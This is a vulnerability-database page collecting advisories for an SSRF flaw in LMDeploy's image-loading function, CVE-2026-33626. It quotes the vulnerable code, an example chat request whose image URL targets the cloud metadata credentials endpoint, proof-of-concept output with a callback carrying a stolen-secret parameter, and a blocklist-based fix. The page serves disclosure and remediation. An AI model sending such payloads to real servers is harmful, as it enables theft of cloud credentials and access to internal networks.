7.5high
LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
- Severity
- 7.5high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 45.3% (higher than 98% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-6w67-hwm5-92mqPYSEC-2026-2607
Description
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| InternLM lmdeploy | < 0.12.3, before 0.12.3 | CVE List, NVD |
| lmdeploy (PyPI) | up to 0.12.2 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| PyPA Advisory Database | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.
GitHub Advisory Database
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
Affected Versions
- Tested on: main branch (2026-02-04)
- Affected: All versions prior to 0.12.3
Vulnerable Code
File: lmdeploy/vl/utils.py (lines 64-67)
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
# ...
if image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
# NO VALIDATION OF URL/IP BEFORE REQUEST
Also affected: encode_image_base64() function (lines 26-29)
Root Cause
- No validation of URLs before fetching
- No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
- Server binds to
0.0.0.0by default (api_server.py line 1393) - API keys disabled by default
Attack Scenario
- LMDeploy server deployed with vision-language model
- Attacker sends request to
/v1/chat/completionswith maliciousimage_url:
POST /v1/chat/completions
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image"},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
]
}]
}
- Server fetches URL without validation
- Attacker receives cloud credentials
Proof of Concept
Verified Exploitation Result
╔═══════════════════════════════════════════════════════════════════════╗
║ LMDeploy SSRF Vulnerability - Proof of Concept ║
╚═══════════════════════════════════════════════════════════════════════╝
[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...
======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
Time: 2026-02-04 16:10:57
Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
Client: 127.0.0.1:51154
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================
✅ SSRF VULNERABILITY CONFIRMED!
Impact
- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
- Internal Service Access: Reach services not exposed to internet
- Information Disclosure: Port scan internal networks
- Lateral Movement: Pivot point for further attacks
Recommended Fix
from urllib.parse import urlparse
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'),
]
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
ip = socket.gethostbyname(parsed.hostname)
ip_addr = ipaddress.ip_address(ip)
return not any(ip_addr in network for network in BLOCKED_NETWORKS)
except:
return False
Credit
This vulnerability was discovered as part of Orca Security's research.
Researcher: Igor Stepansky
Organization: Orca Security
Emails:
igor.stepansky@orca.security
iggy.p0pi@orca.security
NVD (es)
LMDeploy es un kit de herramientas para comprimir, desplegar y servir modelos de lenguaje grandes. Versiones anteriores a la 0.12.3 tienen una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en el módulo de visión-lenguaje de LMDeploy. La función ’load_image()’ en ’lmdeploy/vl/utils.py’ obtiene URLs arbitrarias sin validar direcciones IP internas/privadas, permitiendo a los atacantes acceder a servicios de metadatos en la nube, redes internas y recursos sensibles. La versión 0.12.3 parchea el problema.
References
| https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq | exploit, mitigation, vendor-advisory, web | |
| https://github.com/InternLM/lmdeploy/pull/4447 | issue-tracking, patch, web | |
| https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626 | patch, web | |
| https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-33626 | advisory | |
| https://github.com/InternLM/lmdeploy | package | |
| https://pypi.org/project/lmdeploy | package | |
| https://github.com/advisories/GHSA-6w67-hwm5-92mq | advisory | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-33626 changed 2026-04-21 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6w67-hwm5-92mq changed 2026-07-13 | CC-BY-4.0 |
| NVD | CVE-2026-33626 changed 2026-10-26 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2607 changed 2026-07-13 | CC-BY-4.0 |